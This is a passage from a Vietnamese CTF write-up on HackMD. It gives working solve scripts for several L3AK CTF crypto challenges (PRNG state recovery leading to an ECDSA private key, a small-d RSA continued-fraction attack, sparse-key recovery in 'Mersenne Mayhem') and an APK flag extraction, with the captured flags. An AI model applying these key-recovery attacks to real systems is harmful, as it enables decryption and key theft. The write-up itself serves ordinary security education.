bytes.fromhex(ciphertext_hex[32:]) # PRNG xorshiro256 MASK64 = (1 << 64) - 1 def rotl(x, k): return ((x << k) | (x >> (64 - k))) & MASK64 def next_state(s): s0, s1, s2, s3 = s t = (s1 << 17) & MASK64 s2 ^= s0 s3 ^= s1 s1 ^= s2 s0 ^= s3 s2 ^= t s3 = rotl(s3, 45) return [s0, s1, s2, s3] def temper(s1): return (rotl((s1 * 5) & MASK64, 7) * 9) & MASK64 # Khôi phục state PRNG leaks = [int(x, 16) for x in leaks_hex] def basis_vector(idx): s = [0, 0, 0, 0] s[idx // 64] = 1 << (idx % 64) return s def compute_s1_steps(state, steps): outs = [] for _ in range(steps): outs.append(state[1]) state = next_state(state) return outs def build_matrix_and_b(leaks): rows = [0] * 256 b = [0] * 256 # Fill b vector eq_idx = 0 for step in range(4): for bit in range(64): b[eq_idx] = (leaks[step] >> bit) & 1 eq_idx += 1 # Ma tran for j in range(256): base = basis_vector(j) outputs = compute_s1_steps(base.copy(), 4) eq_idx = 0 for step in range(4): for bit in range(64): if (outputs[step] >> bit) & 1: rows[eq_idx] |= (1 << j) eq_idx += 1 return rows, b def solve_linear(rows, b): n = 256 rows = rows.copy() b = b.copy() for col in range(n): pivot = None for r in range(col, n): if (rows[r] >> col) & 1: pivot = r break if pivot is None: raise Exception("Matrix not invertible") rows[col], rows[pivot] = rows[pivot], rows[col] b[col], b[pivot] = b[pivot], b[col] for r in range(n): if r != col and ((rows[r] >> col) & 1): rows[r] ^= rows[col] b[r] ^= b[col] x = 0 for i in range(n): if b[i]: x |= (1 << i) return x rows, b_vec = build_matrix_and_b(leaks) state_bits = solve_linear(rows, b_vec) s0 = state_bits & MASK64 s1 = (state_bits >> 64) & MASK64 s2 = (state_bits >> 128) & MASK64 s3 = (state_bits >> 192) & MASK64 state = [s0, s1, s2, s3] for _ in range(4): state = next_state(state) k_tempered = temper(state[1]) k = k_tempered % n # Tính private key Apriv Apriv = ((s * k - H) * inverse(r, n)) % n # Step 4: Giải mã flag key = hashlib.sha256(long_to_bytes(Apriv)).digest() cipher = AES.new(key, AES.MODE_CBC, iv) flag = cipher.decrypt(ct).rstrip(b"\x00").decode() print("Flag:", flag) ``` ``` Flag: L3AK{u_4r3_th3_sh1r0_h3r0!} ``` ### Lowkey RSA ![image](https://hackmd.io/_uploads/rkGKAumIxx.png) Ta xem file `lowkey-rsa.py`, thấy đoạn code sinh khoá và mã hoá như sau: ```python # sinh p, q sao cho: # q < p < 2*q N = p * q phi = (p**4 - 1)*(q**4 - 1) d = random.randrange(1, int((t)**0.5) - 1) e = inverse(phi - d, phi) c = pow(m, e, N) ``` Tôi thấy: - Totient lạ: Thay vì `(p-1)*(q-1)`, họ dùng `(p⁴−1)*(q⁴−1)` - `d` nhỏ: Họ chọn d random trong khoảng `[1, sqrt(t)-1]`, mà t gần bằng `N⁴ / 85`. ⇒` d` chỉ khoảng N/9, rất nhỏ so với `phi ≈ N⁴`. - `e` được tính bằng: ![image](https://hackmd.io/_uploads/ByiR1KmUeg.png) Thế thì ta sẽ làm như sau: - Duyệt continued fraction - Kiểm tra từng (𝑘,𝑑) - ![image](https://hackmd.io/_uploads/SJzSgK7Ixx.png) Code: ```python from fractions import Fraction from math import isqrt def solve_lowkey_rsa(N, e, c): sqrt_t = isqrt((2*N**4 - 49*N**2 + 2) // (4*N + 170*N**2)) r = Fraction(e, N**4) cf = [] while True: q = r.numerator // r.denominator cf.append(q) rem = r.numerator % r.denominator if rem == 0: break r = Fraction(r.denominator, rem) num, den, prev_num, prev_den = 1, 0, 0, 1 for a in cf: num, den, prev_num, prev_den = ( a*num + prev_num, a*den + prev_den, num, den ) k, d = num, den if d <= 1 or d >= sqrt_t: continue if (e*d + 1) % k: continue phi = (e*d + 1) // k d_priv = (phi - d) % phi m = pow(c, d_priv, N) flag = m.to_bytes((m.bit_length() + 7) // 8, 'big') if flag.startswith(b"L3AK{"): return flag.decode() return "[!] No flag found" ``` ``` Flag: L3AK{L0wK3y_Th1S_RSA_i5_kiNda_ScuFf3D_LmA0} ``` ### Mersenne Mayhem ![image](https://hackmd.io/_uploads/SJCTlKmLee.png) Tải file và giải nén đây là toàn bộ nội dung 2 file `chal.py` ```python ```#!/usr/bin/python3 from random import SystemRandom from math import gcd from Crypto.Util.number import inverse from Crypto.Random import get_random_bytes from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from hashlib import sha3_256 m_prime = 11213 # số mũ Mersenne prime xi1 = 0.31 # tham số cho bit length f xi2 = 0.69 # tham số cho bit length g w = 10 # số lượng bit 1 rand = SystemRandom() def hamming_weight(a): return a.bit_count() def get_number(n, h): if not (1 <= h <= n): raise ValueError(f"Cannot set {h} bits in {n}-bit number") low_positions = rand.sample(range(n - 1), h - 1) positions = low_positions + [n - 1] a = 0 for pos in positions: a |= 1 << pos return a def gen_params(n, w, xi1, xi2, af=1): p = 2**n - 1 bf = int(n * xi1) bg = int(n * xi2 * af) f = get_number(bf, w) g = get_number(bg, w) while gcd(f, g) != 1: g = get_number(bg, w) h = inverse(g, p) * f % p return p, f, g, h def main(): p, f, g, h = gen_params(m_prime, w, xi1, xi2) secret = (f * g ) % p secret_bytes = secret.to_bytes((secret.bit_length() + 7)//8, byteorder='big') flag = open('flag.txt', 'rb').read() key = sha3_256(secret_bytes).digest() iv = get_random_bytes(16) cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext_raw = iv + cipher.encrypt(pad(flag, 16)) ciphertext_hex = ciphertext_raw.hex() print(f"Ciphertext = {ciphertext_hex}") print(f"p = {p}") print(f"h = {h}") print(f"xi1 = {xi1}") print(f"xi2 = {xi2}") print(f"w = {w}") if __name__ == "__main__": main() ``` File `output.txt` ``` Ciphertext = 41b53384d92de5c678a2138a0da552d174d77c420591b29ccb7c7610310bf82bcb58f903a423d7d257e3ee4ae2c4da69 p = 2814112013697373133393152975842584191818662382013600787892419349345515176682276313810715094745633257074198789308535071537342445016418881801789390548709414391857257571565758706478418356747070674633497188053050875416821624325680555826071110691946607460873056965360830571590242774934226866183966309185433462514537484258655982386235046029227507801410907163348439547781093397260096909677091843944555754221115477343760206979650067087884993478012977277878532807432236554020931571802310429923167588432457036104110850960439769038450365514022349625383665751207169661697352732236111926846454751701734527011379148175107820821297628946795631098960767492250494834254073334414121627833939461539212528932010726136689293688815665491671395174710452663709175753603774156855766515313827613727281696692633529666363787286539769941609107777183593336002680124517633451490439598324823836457251219406391432635639225604556042396004307799361927379900586400420763092320813392262492942076312933268033818471555255820639308889948665570202403815856313578949779767046261845327956725767289205262311752014786247813331834015084475386760526612217340579721237414485803725355463022009536301008145867524704604618862039093555206195328240951895107040793284825095462530151872823997171764140663315804309008611942578380931064748991594407476328437785848825423921170614938294029483257162979299388940695877375448948081108345293394327808452729789834135140193912419661799488795210328238112742218700634541149743657287232843426369348804878993471962403393967857676150371600196650252168250117793178488012000505422821362550520509209724459895852366827477851619190503254853115029403132178989005195751194301340277282730390683651120587895060198753121882187788657024007291784186518589977788510306743945896108645258766415692825664174470616153305144852273884549635059255410606458427323864109506687636314447514269094932953219924212594695157655009158521173420923275882063327625408617963032962033572563553604056097832111547535908988433816919747615817161606620557307000377194730013431815560750159027842164901422544571224546936793234970894954668425436412347785376194310030139080568383420772628618722646109707506566928102800033961704343991962002059794565527774913883237756792720065543768640792177441559278272350823092843683534396679150229676101834243787820420087274028617212684576388733605769491224109866592577360666241467280158988605523486345880882227855505706309276349415034547677180618296352866263005509222254318459768194126727603047460344175581029298320171226355234439676816309919127574206334807719021875413891580871529049187829308412133400910419756313021540478436604178446757738998632083586207992234085162634375406771169707323213988284943779122171985953605897902291781768286548287878180415060635460047164104095483777201737468873324068550430695826210304316336385311384093490021332372463463373977427405896673827544203128574874581960335232005637229319592369288171375276702260450911735069504025016667755214932073643654199488477010363909372005757899989580775775126621113057905717449417222016070530243916116705990451304256206318289297738303095152430549772239514964821601838628861446301936017710546777503109263030994747397618576207373447725441427135362428360863669327157635983045447971816718801639869547525146305655571843717916875669140320724978568586718527586602439602335283513944980064327030278104224144971883680541689784796267391476087696392191 h = 1420555256339029007623997813064646001269162517128321148445315195505239735275630861823661566974806499472047280215484592996005803648513302169629626127099758282515738821101977445273485022910246569722391022977450955342222836145985252124058212342529128780170990021228730988558665064173954220322773988555167710669068750665776903981634200337373777404012466927646596680586333670581651645526694895600877689342038116459849183193823872501035663586605107067192354044210531807251755452156351983674662886645745394856941265207731156473167231778757731819787611903442134906892597442296936233823840108134806009542341564017395586357285132443867104900170964829691269535011088959513758953200725927512241315102588162307625667497293774446856607793870742116890747893541277522373302165118962976053575406705355764971195021874784514615007411950628751457901414286417358960010967221053822454908696424925405704175995633020493142678213202614937742894400381343076316089897622795515556015286002072322759700438579099970591676839009309031769399502594275266218377682472239872586976705452556133518395328415914503518652542017532651647731241407171312901187911076641932472943264583606924316675349565466488903831076073348850535782518384829652304040155890590587188783695482711889391210316569992875826864203896074373913044155630807488027391070097591354568591831261212998547450723243648908349081702648981754965087366716012704456844050856945098481648381066456654298504766274287677173531407712216638604928122194203916328841926799970191645315242073698356237463109990735562385573707846536974481579821301372474435457099406760484280999724263427442692583436069170036373949813257024671755403669821456270665060921956691382969799591246457852441573272563366612307625286201260042625086965961053006988659415151285688613563697564208949796608132657497688137512977726996868089866737746050625960033949688003905344289968553237468369562275970721124808922797498954729192402174080310105048553480796371124861551154608423542660872024811406457451424253705687979915395138199662324871095873255085721494088182389344068642956910343125988440788281536821574417589504214561018112652377091738873567384795002650440795826732903483284697533314215503203322729252515102929675782158033940939707173384735831945973131378767145549237414530035857282428664740004024186722896592693839808003379490048051781800528316131147063192114353380299163535474170148552078839155797722939143164848128170591789817861428901096912042379655572487529983245927123870716371357517142431645561532273325783362132723664729122853387243023889022825534772304668999948890306453633124290070865560117725343418936602004343258378292218254184989796563841886060342528155126255491479519793234521554762270234424568183556174229507271089194135988143493032829906811846783521409480751862383365285419925324896562580231684692411694312251240562954259361596977465804532938260753882101880890334741978448410119591665004422790211098229717537610959221523324756588024738544068846236205437760843840319798491939909330547143199854608585823646613660809454152858803614876632067827324289956927912056108902075641611668181460557770913959037715741018607941206784764550084749008826004455090269295539665469266276760215529247213893160911919455625283080509926624966775395334197154212462026901783136821516237970556846369147663455890608535960863730071819706481755582989771193307683239283077479511187437689338027648438450206074052 xi1 = 0.31 xi2 = 0.69 w = 10 ``` Dựa vào đây ta dễ thấy: - Flag được mã hóa bằng AES-CBC với khóa từ `secret` - In ra các tham số (p, h, xi1, xi2, w) + ciphertext. -> Phải tìm lại f, g từ h, sau đó giải mã để lấy flag. Từ file `chal.py`, ta thấy: ![image](https://hackmd.io/_uploads/rJLF7K7Uex.png) => f, g rất thưa bit, nên dễ bị tấn công. Từ công thức: `h·g ≡ f (mod p)` => tồn tại số nguyên k sao cho: ` h·g - p·k = f` Bài toán tìm (f, g) thành: Tìm nghiệm nguyên (g, k) sao cho `h·g - p·k` rất nhỏ và thưa bit. **Đây chính là Hidden Number Problem (HNP)** nên ta sẽ dùng: (https://github.com/kelbyludwig/notebooks/blob/master/The%20Hidden%20Number%20Problem.ipynb) - Phân số liên tiếp (continued fractions) ![image](https://hackmd.io/_uploads/H1eKAVK7Lel.png) Code hoàn chỉnh: ```python from hashlib import sha3_256 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import re, tarfile # B1: Load dữ liệu with tarfile.open("mersenne-mayhem.tar.xz", "r:xz") as t: txt = t.extractfile("output.txt").read().decode() p = int(re.search(r"p\s*=\s*(\d+)", txt).group(1)) h = int(re.search(r"h\s*=\s*(\d+)", txt).group(1)) ciph = bytes.fromhex(re.search(r"Ciphertext\s*=\s*([0-9a-f]+)", txt).group(1)) BF, BG, W = 3476, 7736, 10 # tham số cố định # B2: Sinh convergent def convergents(num, den): a,b,c,d = 1,0,0,1 while den: q = num // den num, den = den, num - q*den a,b,c,d = q*a+c, q*b+d, a, b yield a, b # a/b ~ num/den def popcount(x): return bin(x).count("1") # B3: Lọc nghiệm (f, g) for k, g in convergents(h, p): r = h*g - p*k # dư if g.bit_length()!=BG or popcount(g)!=W: continue if abs(r).bit_length()!=BF or popcount(abs(r))!=W: continue f = abs(r); break else: raise Exception("Không tìm thấy nghiệm!") # B4: Giải mã secret = f * g key = sha3_256(secret.to_bytes((secret.bit_length()+7)//8,'big')).digest() iv, ct = ciph[:16], ciph[16:] flag = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16) print(flag.decode()) ``` ``` Flag: L3AK{4jp2_n0t_s0_str0ng} ``` ## Mobile ### BrainCalc ![image](https://hackmd.io/_uploads/H1FT_C4Lxg.png) Trước hết ta sẽ giải nén file ```.apk```: ```unzip app-debug1.apk -d extracted_apk/``` Sau đó kiểm tra thư mục vừa giải nén ```tree extracted_apk/ -L 2``` Sau khi giải nén xong và xác nhận thư mục ```assets/chaquopy``` đã tồn tại — đây chính là nơi chứa code Python được nhúng bên trong app. ![image](https://hackmd.io/_uploads/B1ZGVkSUee.png) Ta sẽ di chuyển đến thư mục chứa ```Chaquopy``` và kiểm tra nội dung thư mục: ``` cd extracted_apk/assets/chaquopy ls -lh ``` ![image](https://hackmd.io/_uploads/Bk2cVJBUee.png) Khi thấy có ```file app.imy``` - đây là file quan trọng nhất chứa phần mã Python đã được biên dịch của ứng dụng (dưới dạng ```.pyc```) ta sẽ đổi tên ```app.imy``` thành ```.zip``` để có thể giải nén được. ``` cp app.imy app.zip unzip app.zip -d unpacked_py ``` Sau khi giải nén toàn bộ nội dung bên trong ```app.imy``` (giờ là app.zip) vào thư mục ```unpacked_py/``` ta sẽ tìm các file ```.pyc``` vừa giải nén ![image](https://hackmd.io/_uploads/SkxnryHLxl.png) Ta có thể thấy ```unpacked_py/BrainCalc/app.pyc``` là file chứa logic chính và flag vì vậy ta sẽ giải mã flag bằng script Python ```python import zlib, base64 # Chuỗi base64 + zlib được lấy từ hàm get_secret_reward s = 'eJzzMXb0rvYqLS6JN4kPNynKjQ8tiHfOMMnJqQUAeHcJQA==' # Giải mã và in flag flag = zlib.decompress(base64.b64decode(s)).decode() print("✅ FLAG:", flag) ``` ![image](https://hackmd.io/_uploads/rJ0ZIJrIlg.png) ``` FLAG: L3AK{Just_4_W4rm_Up_Ch4ll} ```

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully